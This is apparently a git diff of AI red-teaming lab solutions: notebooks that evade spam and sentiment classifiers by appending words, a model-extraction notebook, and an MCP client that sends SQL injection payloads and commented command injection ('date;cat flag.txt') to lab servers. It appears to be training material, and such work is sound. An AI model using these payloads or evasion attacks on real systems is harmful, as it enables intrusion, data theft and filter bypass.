[
|
||||
"doing",
|
||||
26.220372882905004
|
||||
],
|
||||
[
|
||||
"really",
|
||||
25.47121937196488
|
||||
],
|
||||
[
|
||||
"ask",
|
||||
24.722065861024724
|
||||
],
|
||||
[
|
||||
"cos",
|
||||
23.598335594614515
|
||||
],
|
||||
[
|
||||
"lol",
|
||||
23.598335594614515
|
||||
],
|
||||
[
|
||||
"said",
|
||||
23.22375883914445
|
||||
],
|
||||
[
|
||||
"..",
|
||||
22.795692105601425
|
||||
],
|
||||
[
|
||||
"sure",
|
||||
21.35087506179409
|
||||
],
|
||||
[
|
||||
"k",
|
||||
20.78902109332076
|
||||
],
|
||||
[
|
||||
"come",
|
||||
20.601736303054754
|
||||
],
|
||||
[
|
||||
"morning",
|
||||
19.852568039913795
|
||||
],
|
||||
[
|
||||
"thing",
|
||||
19.103414528973666
|
||||
],
|
||||
[
|
||||
"feel",
|
||||
17.97968426256344
|
||||
],
|
||||
[
|
||||
"oh",
|
||||
17.230540005274868
|
||||
],
|
||||
[
|
||||
"going",
|
||||
16.980825074033003
|
||||
]
|
||||
],
|
||||
"word_impacts": [
|
||||
[
|
||||
"lor",
|
||||
7.131785940645545
|
||||
],
|
||||
[
|
||||
"\u00fc",
|
||||
7.036803994633465
|
||||
],
|
||||
[
|
||||
"...",
|
||||
6.98438558531918
|
||||
],
|
||||
[
|
||||
"da",
|
||||
6.981145003801362
|
||||
],
|
||||
[
|
||||
"later",
|
||||
6.394759474192664
|
||||
],
|
||||
[
|
||||
"doing",
|
||||
6.206539871713527
|
||||
],
|
||||
[
|
||||
"really",
|
||||
6.165373493147777
|
||||
],
|
||||
[
|
||||
"ask",
|
||||
6.122846010746446
|
||||
],
|
||||
[
|
||||
"cos",
|
||||
6.056288389188433
|
||||
],
|
||||
[
|
||||
"lol",
|
||||
6.056288389188438
|
||||
]
|
||||
]
|
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}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 60 KiB |
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,135 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 1,
|
||||
"id": "33563458-e157-4771-bd54-7676036c1d73",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Base message: 'England v Macedonia - dont miss the goals/team news. Txt ur national team to 87077 eg ENGLAND to 87077 Try:WALES, SCOTLAND 4txt/ú1.20 POBOXox36504W45WQ 16+'\n",
|
||||
"Budget: 25\n",
|
||||
"\n",
|
||||
"Final message: 'England v Macedonia - dont miss the goals/team news. Txt ur national team to 87077 eg ENGLAND to 87077 Try:WALES, SCOTLAND 4txt/ú1.20 POBOXox36504W45WQ 16+ later home morning fine nice lunch meeting happy'\n",
|
||||
"Words used: 8\n",
|
||||
"Final classification: ham (spam prob: 0.1077)\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import os\n",
|
||||
"import requests\n",
|
||||
"import random\n",
|
||||
"import numpy as np\n",
|
||||
"from typing import List, Tuple\n",
|
||||
"\n",
|
||||
"# Seed for reproducibility\n",
|
||||
"random.seed(1337)\n",
|
||||
"np.random.seed(1337)\n",
|
||||
"\n",
|
||||
"# Get challenge from server\n",
|
||||
"host = \"http://154.57.164.78:31757\"\n",
|
||||
"ch = requests.get(f\"{host}/challenge\", timeout=10).json()\n",
|
||||
"base, budget = ch[\"base_message\"], int(ch[\"max_added_words\"])\n",
|
||||
"\n",
|
||||
"def predict(host, text):\n",
|
||||
" r = requests.post(f\"{host}/predict\", json={\"text\": text}, timeout=15)\n",
|
||||
" data = r.json()\n",
|
||||
" return data[\"label\"], float(data[\"spam_probability\"])\n",
|
||||
"\n",
|
||||
"vocab = list(dict.fromkeys([\n",
|
||||
" # salutations and courtesy\n",
|
||||
" \"hello\", \"hi\", \"dear\", \"please\", \"thanks\", \"thankyou\", \"regards\", \"sincerely\",\n",
|
||||
" \"kind\", \"wishes\", \"best\", \"appreciate\", \"welcome\", \"friend\", \"family\",\n",
|
||||
" # everyday context\n",
|
||||
" \"meeting\", \"tomorrow\", \"today\", \"later\", \"morning\", \"night\", \"home\", \"work\",\n",
|
||||
" \"office\", \"schedule\", \"confirm\", \"call\", \"reply\", \"message\", \"note\", \"update\",\n",
|
||||
" # positive tone\n",
|
||||
" \"happy\", \"birthday\", \"congratulations\", \"joy\", \"peace\", \"smile\", \"care\",\n",
|
||||
" \"support\", \"help\", \"good\", \"great\", \"wonderful\", \"awesome\", \"nice\", \"cool\",\n",
|
||||
" \"fine\", \"okay\",\n",
|
||||
" # social\n",
|
||||
" \"lunch\", \"dinner\", \"coffee\", \"weekend\", \"party\", \"invite\", \"visit\", \"enjoy\",\n",
|
||||
" # misc\n",
|
||||
" \"true\", \"honest\", \"trust\", \"safe\", \"project\", \"team\"\n",
|
||||
"]))\n",
|
||||
"\n",
|
||||
"def estimate_word_impacts(\n",
|
||||
" host: str, base_msg: str, words: List[str]\n",
|
||||
") -> List[Tuple[str, float]]:\n",
|
||||
" _, base_prob = predict(host, base_msg)\n",
|
||||
" impacts: List[Tuple[str, float]] = []\n",
|
||||
" for w in words:\n",
|
||||
" augmented = f\"{base_msg} {w}\"\n",
|
||||
" _, new_prob = predict(host, augmented)\n",
|
||||
" impacts.append((w, base_prob - new_prob))\n",
|
||||
" impacts.sort(key=lambda x: x[1], reverse=True)\n",
|
||||
" return impacts\n",
|
||||
"\n",
|
||||
"def greedy_compose(\n",
|
||||
" host: str, base_msg: str, top_words: List[str], budget: int, target_label: str\n",
|
||||
") -> Tuple[str, int, float]:\n",
|
||||
" augmented = base_msg\n",
|
||||
" used = 0\n",
|
||||
" for w in top_words:\n",
|
||||
" if used >= budget:\n",
|
||||
" break\n",
|
||||
" augmented = f\"{augmented} {w}\"\n",
|
||||
" used += 1\n",
|
||||
" label, prob = predict(host, augmented)\n",
|
||||
" if label == target_label:\n",
|
||||
" return augmented, used, prob\n",
|
||||
" label, prob = predict(host, augmented)\n",
|
||||
" return augmented, used, prob\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"if __name__ == \"__main__\":\n",
|
||||
" print(f\"Base message: '{base}'\\nBudget: {budget}\")\n",
|
||||
"\n",
|
||||
" #Estimate which words help reduce spam probability\n",
|
||||
" impacts = estimate_word_impacts(host, base, vocab)\n",
|
||||
" top_words = [w for w, delta in impacts if delta > 0]\n",
|
||||
"\n",
|
||||
" #Try to fix the message using greedy approach\n",
|
||||
" final_msg, used, final_prob = greedy_compose(host, base, top_words, budget, target_label=\"ham\")\n",
|
||||
" final_label, _ = predict(host, final_msg)\n",
|
||||
"\n",
|
||||
" print(f\"\\nFinal message: '{final_msg}'\")\n",
|
||||
" print(f\"Words used: {used}\")\n",
|
||||
" print(f\"Final classification: {final_label} (spam prob: {final_prob:.4f})\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "f010b0d4-4ed5-4dbc-b62b-845e6b137b5e",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,329 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 3,
|
||||
"id": "e5181b56-34a6-4c2e-8045-137f8190ad56",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"\n",
|
||||
"[*] Starting white-box phase...\n",
|
||||
"[*] Downloading model...\n",
|
||||
"[+] Model loaded: 89972 features\n",
|
||||
" Attacking review wb_0... Done (6 words)\n",
|
||||
" Attacking review wb_1... Done (3 words)\n",
|
||||
" Attacking review wb_2... Done (3 words)\n",
|
||||
" Attacking review wb_3... Done (4 words)\n",
|
||||
" Attacking review wb_4... Done (6 words)\n",
|
||||
" Attacking review wb_5... Done (11 words)\n",
|
||||
" Attacking review wb_6... Done (5 words)\n",
|
||||
" Attacking review wb_7... Done (4 words)\n",
|
||||
" Attacking review wb_8... Done (24 words)\n",
|
||||
" Attacking review wb_9... Done (7 words)\n",
|
||||
"[+] White-box phase: 10/10 completed\n",
|
||||
"[+] White-box phase completed successfully!\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import os\n",
|
||||
"import requests\n",
|
||||
"import pickle\n",
|
||||
"import numpy as np\n",
|
||||
"from typing import List, Dict, Tuple\n",
|
||||
"\n",
|
||||
"SEED = 1337\n",
|
||||
"np.random.seed(SEED)\n",
|
||||
"\n",
|
||||
"BASE_URL = \"http://154.57.164.67:30687\"\n",
|
||||
"\n",
|
||||
"class WhiteBoxAttacker:\n",
|
||||
" def __init__(self, base_url: str):\n",
|
||||
" self.base_url = base_url\n",
|
||||
" self.model = None\n",
|
||||
" self.vectorizer = None\n",
|
||||
" self.feature_names = None\n",
|
||||
" self.classes = None\n",
|
||||
"\n",
|
||||
" def download_model(self):\n",
|
||||
" print(\"[*] Downloading model...\")\n",
|
||||
" r = requests.get(f\"{self.base_url}/model/download\")\n",
|
||||
" r.raise_for_status()\n",
|
||||
"\n",
|
||||
" with open(\"/tmp/model.pkl\", \"wb\") as f:\n",
|
||||
" f.write(r.content)\n",
|
||||
"\n",
|
||||
" with open(\"/tmp/model.pkl\", \"rb\") as f:\n",
|
||||
" bundle = pickle.load(f)\n",
|
||||
"\n",
|
||||
" self.model = bundle[\"classifier\"]\n",
|
||||
" self.vectorizer = bundle[\"vectorizer\"]\n",
|
||||
" self.feature_names = bundle[\"feature_names\"]\n",
|
||||
" self.classes = bundle[\"classes\"]\n",
|
||||
" print(f\"[+] Model loaded: {len(self.feature_names)} features\")\n",
|
||||
"\n",
|
||||
" def calculate_word_scores(self, target_class: str) -> List[Tuple[str, float]]:\n",
|
||||
" target_idx = self.classes.index(target_class)\n",
|
||||
" other_idx = 1 - target_idx\n",
|
||||
"\n",
|
||||
" scores = []\n",
|
||||
" for i, feature in enumerate(self.feature_names):\n",
|
||||
" if \" \" in feature:\n",
|
||||
" continue\n",
|
||||
" target_prob = np.exp(self.model.feature_log_prob_[target_idx][i])\n",
|
||||
" other_prob = np.exp(self.model.feature_log_prob_[other_idx][i])\n",
|
||||
" score = target_prob / (other_prob + 1e-10)\n",
|
||||
" scores.append((feature, score))\n",
|
||||
"\n",
|
||||
" scores.sort(key=lambda x: x[1], reverse=True)\n",
|
||||
" return scores\n",
|
||||
"\n",
|
||||
" def attack_review(self, text: str, target: str, max_words: int) -> Tuple[str, int]:\n",
|
||||
" word_scores = self.calculate_word_scores(target)\n",
|
||||
"\n",
|
||||
" augmented = text\n",
|
||||
" for num_words in range(1, max_words + 1):\n",
|
||||
" words_to_add = [w for w, _ in word_scores[:num_words]]\n",
|
||||
" augmented = text + \" \" + \" \".join(words_to_add)\n",
|
||||
"\n",
|
||||
" vec = self.vectorizer.transform([augmented])\n",
|
||||
" prediction = self.model.predict(vec)[0]\n",
|
||||
"\n",
|
||||
" if prediction == target:\n",
|
||||
" return augmented, num_words\n",
|
||||
"\n",
|
||||
" return augmented, max_words\n",
|
||||
"\n",
|
||||
" def solve_whitebox(self) -> Dict:\n",
|
||||
" print(\"\\n[*] Starting white-box phase...\")\n",
|
||||
"\n",
|
||||
" r = requests.get(f\"{self.base_url}/challenge/whitebox\")\n",
|
||||
" r.raise_for_status()\n",
|
||||
" challenge = r.json()\n",
|
||||
"\n",
|
||||
" reviews = challenge[\"reviews\"]\n",
|
||||
" max_words = challenge[\"max_added_words\"]\n",
|
||||
"\n",
|
||||
" self.download_model()\n",
|
||||
"\n",
|
||||
" solutions = []\n",
|
||||
" for review in reviews:\n",
|
||||
" print(f\" Attacking review {review['id']}...\", end=\" \")\n",
|
||||
" augmented, words_used = self.attack_review(\n",
|
||||
" review[\"text\"], review[\"target_sentiment\"], max_words\n",
|
||||
" )\n",
|
||||
" solutions.append({\"id\": review[\"id\"], \"augmented_text\": augmented})\n",
|
||||
" print(f\"Done ({words_used} words)\")\n",
|
||||
"\n",
|
||||
" r = requests.post(\n",
|
||||
" f\"{self.base_url}/submit/whitebox\", json={\"solutions\": solutions}\n",
|
||||
" )\n",
|
||||
" r.raise_for_status()\n",
|
||||
" result = r.json()\n",
|
||||
"\n",
|
||||
" if \"results\" in result:\n",
|
||||
" successes = sum(1 for r in result[\"results\"] if r.get(\"success\", False))\n",
|
||||
" print(f\"[+] White-box phase: {successes}/10 completed\")\n",
|
||||
"\n",
|
||||
" return result\n",
|
||||
"\n",
|
||||
"def main():\n",
|
||||
" wb_attacker = WhiteBoxAttacker(BASE_URL)\n",
|
||||
" wb_result = wb_attacker.solve_whitebox()\n",
|
||||
"\n",
|
||||
" if not wb_result.get(\"phase_complete\", False):\n",
|
||||
" print(\"[-] Failed to complete white-box phase\")\n",
|
||||
" return\n",
|
||||
"\n",
|
||||
" print(\"[+] White-box phase completed successfully!\")\n",
|
||||
"\n",
|
||||
"if __name__ == \"__main__\":\n",
|
||||
" main()"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 4,
|
||||
"id": "ca580733-0f7d-401b-bd10-a29586b9f4b9",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"\n",
|
||||
"[*] Starting black-box phase...\n",
|
||||
" Attacking review bb_0... Done (22 words, 73 queries total)\n",
|
||||
" Attacking review bb_1... Done (40 words, 164 queries total)\n",
|
||||
" Attacking review bb_2... Done (20 words, 235 queries total)\n",
|
||||
" Attacking review bb_3... Done (17 words, 303 queries total)\n",
|
||||
" Attacking review bb_4... Done (4 words, 358 queries total)\n",
|
||||
" Attacking review bb_5... Done (38 words, 447 queries total)\n",
|
||||
" Attacking review bb_6... Done (40 words, 538 queries total)\n",
|
||||
" Attacking review bb_7... Done (4 words, 593 queries total)\n",
|
||||
" Attacking review bb_8... Done (13 words, 657 queries total)\n",
|
||||
" Attacking review bb_9... Done (6 words, 714 queries total)\n",
|
||||
"[+] Black-box phase: 10/10 completed\n",
|
||||
"\n",
|
||||
"============================================================\n",
|
||||
"[+] SUCCESS! All challenges completed!\n",
|
||||
"[+] Flag: HTB{f34tur3_0bfu5c4t10n_m45t3r3d}\n",
|
||||
"============================================================\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import os\n",
|
||||
"import requests\n",
|
||||
"import numpy as np\n",
|
||||
"from typing import List, Dict, Tuple\n",
|
||||
"\n",
|
||||
"SEED = 1337\n",
|
||||
"np.random.seed(SEED)\n",
|
||||
"\n",
|
||||
"BASE_URL = \"http://154.57.164.67:30687\"\n",
|
||||
"\n",
|
||||
"class BlackBoxAttacker:\n",
|
||||
" def __init__(self, base_url: str):\n",
|
||||
" self.base_url = base_url\n",
|
||||
" self.word_impacts = {}\n",
|
||||
" self.query_count = 0\n",
|
||||
"\n",
|
||||
" def predict(self, text: str) -> Dict:\n",
|
||||
" self.query_count += 1\n",
|
||||
" r = requests.post(f\"{self.base_url}/predict\", json={\"text\": text})\n",
|
||||
" r.raise_for_status()\n",
|
||||
" return r.json()\n",
|
||||
"\n",
|
||||
" def estimate_word_impacts(\n",
|
||||
" self, base_text: str, vocabulary: List[str]\n",
|
||||
" ) -> List[Tuple[str, float]]:\n",
|
||||
" base_pred = self.predict(base_text)\n",
|
||||
" base_pos_prob = base_pred[\"positive_probability\"]\n",
|
||||
"\n",
|
||||
" impacts = []\n",
|
||||
" for word in vocabulary:\n",
|
||||
" augmented = base_text + \" \" + word\n",
|
||||
" pred = self.predict(augmented)\n",
|
||||
" impact = pred[\"positive_probability\"] - base_pos_prob\n",
|
||||
" impacts.append((word, impact))\n",
|
||||
"\n",
|
||||
" impacts.sort(key=lambda x: x[1], reverse=True)\n",
|
||||
" return impacts\n",
|
||||
"\n",
|
||||
" def attack_review(self, text: str, max_words: int) -> Tuple[str, int]:\n",
|
||||
" positive_vocabulary = [\n",
|
||||
" \"excellent\", \"amazing\", \"wonderful\", \"fantastic\", \"brilliant\",\n",
|
||||
" \"outstanding\", \"superb\", \"magnificent\", \"perfect\", \"exceptional\",\n",
|
||||
" \"masterpiece\", \"genius\", \"beautiful\", \"stunning\", \"remarkable\",\n",
|
||||
" \"awesome\", \"incredible\", \"phenomenal\", \"spectacular\", \"marvelous\",\n",
|
||||
" \"great\", \"good\", \"love\", \"loved\", \"best\", \"favorite\", \"enjoyed\",\n",
|
||||
" \"recommend\", \"highly\", \"definitely\", \"must\", \"liked\", \"appreciate\",\n",
|
||||
" \"admire\", \"adore\", \"enjoy\", \"compelling\", \"engaging\", \"captivating\",\n",
|
||||
" \"mesmerizing\", \"powerful\", \"touching\", \"moving\", \"inspiring\",\n",
|
||||
" \"uplifting\", \"heartwarming\", \"clever\", \"witty\", \"funny\", \"hilarious\",\n",
|
||||
" \"entertaining\"\n",
|
||||
" ]\n",
|
||||
"\n",
|
||||
" impacts = self.estimate_word_impacts(text, positive_vocabulary[:50])\n",
|
||||
"\n",
|
||||
" augmented = text\n",
|
||||
" for i, (word, impact) in enumerate(impacts, 1):\n",
|
||||
" if i > max_words:\n",
|
||||
" break\n",
|
||||
"\n",
|
||||
" augmented = augmented + \" \" + word\n",
|
||||
" pred = self.predict(augmented)\n",
|
||||
"\n",
|
||||
" if pred[\"label\"] == \"positive\":\n",
|
||||
" return augmented, i\n",
|
||||
"\n",
|
||||
" if impacts:\n",
|
||||
" top_words = [w for w, _ in impacts[:10]]\n",
|
||||
" words_to_add = []\n",
|
||||
" while len(words_to_add) < max_words:\n",
|
||||
" words_to_add.extend(top_words)\n",
|
||||
" augmented = text + \" \" + \" \".join(words_to_add[:max_words])\n",
|
||||
"\n",
|
||||
" return augmented, max_words\n",
|
||||
"\n",
|
||||
" def solve_blackbox(self) -> Dict:\n",
|
||||
" print(\"\\n[*] Starting black-box phase...\")\n",
|
||||
"\n",
|
||||
" r = requests.get(f\"{self.base_url}/challenge/blackbox\")\n",
|
||||
" r.raise_for_status()\n",
|
||||
" challenge = r.json()\n",
|
||||
"\n",
|
||||
" reviews = challenge[\"reviews\"]\n",
|
||||
" max_words = challenge[\"max_added_words\"]\n",
|
||||
"\n",
|
||||
" solutions = []\n",
|
||||
" for review in reviews:\n",
|
||||
" print(f\" Attacking review {review['id']}...\", end=\" \")\n",
|
||||
" augmented, words_used = self.attack_review(review[\"text\"], max_words)\n",
|
||||
" solutions.append({\"id\": review[\"id\"], \"augmented_text\": augmented})\n",
|
||||
" print(f\"Done ({words_used} words, {self.query_count} queries total)\")\n",
|
||||
"\n",
|
||||
" r = requests.post(\n",
|
||||
" f\"{self.base_url}/submit/blackbox\", json={\"solutions\": solutions}\n",
|
||||
" )\n",
|
||||
" r.raise_for_status()\n",
|
||||
" result = r.json()\n",
|
||||
"\n",
|
||||
" if \"results\" in result:\n",
|
||||
" successes = sum(1 for r in result[\"results\"] if r.get(\"success\", False))\n",
|
||||
" print(f\"[+] Black-box phase: {successes}/10 completed\")\n",
|
||||
"\n",
|
||||
" return result\n",
|
||||
"\n",
|
||||
"def main():\n",
|
||||
" bb_attacker = BlackBoxAttacker(BASE_URL)\n",
|
||||
" bb_result = bb_attacker.solve_blackbox()\n",
|
||||
"\n",
|
||||
" if bb_result.get(\"flag\"):\n",
|
||||
" print(\"\\n\" + \"=\" * 60)\n",
|
||||
" print(\"[+] SUCCESS! All challenges completed!\")\n",
|
||||
" print(f\"[+] Flag: {bb_result['flag']}\")\n",
|
||||
" print(\"=\" * 60)\n",
|
||||
" else:\n",
|
||||
" print(\"[-] Failed to complete black-box phase\")\n",
|
||||
"\n",
|
||||
"if __name__ == \"__main__\":\n",
|
||||
" main()"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "0b9ce2a6-d30d-466c-9e79-e4054b13b4ce",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,102 @@
|
||||
import asyncio
|
||||
from fastmcp import Client, FastMCP
|
||||
|
||||
client = Client("http://154.57.164.78:30484/mcp/")
|
||||
|
||||
async def main():
|
||||
async with client:
|
||||
resources = await client.list_resources()
|
||||
resource_templates = await client.list_resource_templates()
|
||||
tools = await client.list_tools()
|
||||
|
||||
print("Resources:")
|
||||
for resource in resources:
|
||||
print('***')
|
||||
print(resource.name)
|
||||
print(resource.description.strip())
|
||||
|
||||
|
||||
print("-"*50)
|
||||
print("Resource Templates:")
|
||||
for resource_template in resource_templates:
|
||||
print('***')
|
||||
print(resource_template.uriTemplate)
|
||||
print(resource_template.description.strip())
|
||||
|
||||
|
||||
print("-"*50)
|
||||
print("Tools:")
|
||||
for tool in tools:
|
||||
print('***')
|
||||
params = list(tool.inputSchema.get('properties').keys())
|
||||
print(f"{tool.name}({','.join(params)})")
|
||||
print(tool.description.strip())
|
||||
|
||||
# VULNERABLE MCP SERVER
|
||||
|
||||
# Information Leakage (other requests first to populate)
|
||||
# try:
|
||||
# result_object = await client.read_resource("resource://logs")
|
||||
# print(result_object[0].text)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
|
||||
# RCE
|
||||
# try:
|
||||
# result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
|
||||
# print(result_object)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
|
||||
# SQLi
|
||||
## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
|
||||
# try:
|
||||
# ## UNION SELECT flag FROM flag
|
||||
# result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
|
||||
# print(result_object[0].text)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
# SKILLS ASSESSMENT
|
||||
try:
|
||||
result_object = await client.read_resource("resource://platforms")
|
||||
print(result_object[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
try:
|
||||
result_object = await client.read_resource("password://rootlocker.htb")
|
||||
print(result_object[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
|
||||
|
||||
|
||||
asyncio.run(main())
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
from fastmcp import FastMCP
|
||||
from glob import glob
|
||||
|
||||
mcp = FastMCP("MCP")
|
||||
|
||||
# Prompt
|
||||
@mcp.prompt()
|
||||
def spell_check(text: str) -> str:
|
||||
"""Generates a user message asking for a spell check of an input text."""
|
||||
return f"Please check the following text for typos and grammatical errors:\n\n{text}"
|
||||
|
||||
# Resource
|
||||
@mcp.resource("resource://filecount")
|
||||
def count_files() -> int:
|
||||
"""Provides the number of stored files."""
|
||||
return len(glob("/tmp/*.mcpfile"))
|
||||
|
||||
# Resource Template
|
||||
@mcp.resource("getfile://{file_name}")
|
||||
def get_file(file_name: str) -> str:
|
||||
"""Get content of a stored file."""
|
||||
with open(f"/tmp/{file_name}.mcpfile", "r") as f:
|
||||
return f.read()
|
||||
|
||||
# Tool
|
||||
@mcp.tool()
|
||||
def store_file(file_content: str, file_name: str) -> str:
|
||||
"""Store a file."""
|
||||
with open(f"/tmp/{file_name}.mcpfile", "w+") as f:
|
||||
f.write(file_content)
|
||||
return file_content
|
||||
|
||||
mcp.run(transport="streamable-http", host="127.0.0.1", port=8000)
|
||||
@@ -0,0 +1,186 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 1,
|
||||
"id": "8d4f4ce4-7136-40b4-bb26-2282a70c01ed",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"N_SAMPLES = 100\n",
|
||||
"\n",
|
||||
"MIN_FLIPPER_LENGTH = 150\n",
|
||||
"MAX_FLIPPER_LENGTH = 250\n",
|
||||
"\n",
|
||||
"MIN_BODY_MASS = 2500\n",
|
||||
"MAX_BODY_MASS = 6500\n",
|
||||
"\n",
|
||||
"CLASSIFIER_URL = \"http://154.57.164.64:31234/\"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"id": "aae0ccdc-0d16-4ac4-9e4e-349ca917e0d4",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
" Flipper Length (mm) Body Mass (g)\n",
|
||||
"0 225.360814 4507.338188\n",
|
||||
"1 155.862659 5086.012537\n",
|
||||
"2 202.298517 5345.538155\n",
|
||||
"3 151.772929 5325.544831\n",
|
||||
"4 157.298876 5988.681592\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import random\n",
|
||||
"import pandas as pd\n",
|
||||
"\n",
|
||||
"samples = {\n",
|
||||
" \"Flipper Length (mm)\": [],\n",
|
||||
" \"Body Mass (g)\": []\n",
|
||||
"}\n",
|
||||
"\n",
|
||||
"for i in range(N_SAMPLES):\n",
|
||||
" samples[\"Flipper Length (mm)\"].append(random.uniform(MIN_FLIPPER_LENGTH, MAX_FLIPPER_LENGTH))\n",
|
||||
" samples[\"Body Mass (g)\"].append(random.uniform(MIN_BODY_MASS, MAX_BODY_MASS))\n",
|
||||
"\n",
|
||||
"samples_df = pd.DataFrame(samples)\n",
|
||||
"print(samples_df.head())\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 3,
|
||||
"id": "b06a1bf2-f465-4bfc-af92-5ef3a85efab0",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
" species\n",
|
||||
"0 Gentoo\n",
|
||||
"1 Adelie\n",
|
||||
"2 Gentoo\n",
|
||||
"3 Adelie\n",
|
||||
"4 Adelie\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import requests\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"predictions = {\"species\": []}\n",
|
||||
"\n",
|
||||
"for i in range(N_SAMPLES):\n",
|
||||
" sample = {\n",
|
||||
" \"flipper_length\": samples[\"Flipper Length (mm)\"][i],\n",
|
||||
" \"body_mass\": samples[\"Body Mass (g)\"][i]\n",
|
||||
" }\n",
|
||||
"\n",
|
||||
" prediction = json.loads(requests.get(CLASSIFIER_URL, params=sample).text).get(\"result\")\n",
|
||||
" predictions[\"species\"].append(prediction)\n",
|
||||
"\n",
|
||||
"predictions_df = pd.DataFrame(predictions)\n",
|
||||
"print(predictions_df.head())\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 4,
|
||||
"id": "19f9f2b1-dc61-4986-ae74-158a19bd8870",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stderr",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/sklearn/utils/validation.py:1352: DataConversionWarning: A column-vector y was passed when a 1d array was expected. Please change the shape of y to (n_samples, ), for example using ravel().\n",
|
||||
" y = column_or_1d(y, warn=True)\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"data": {
|
||||
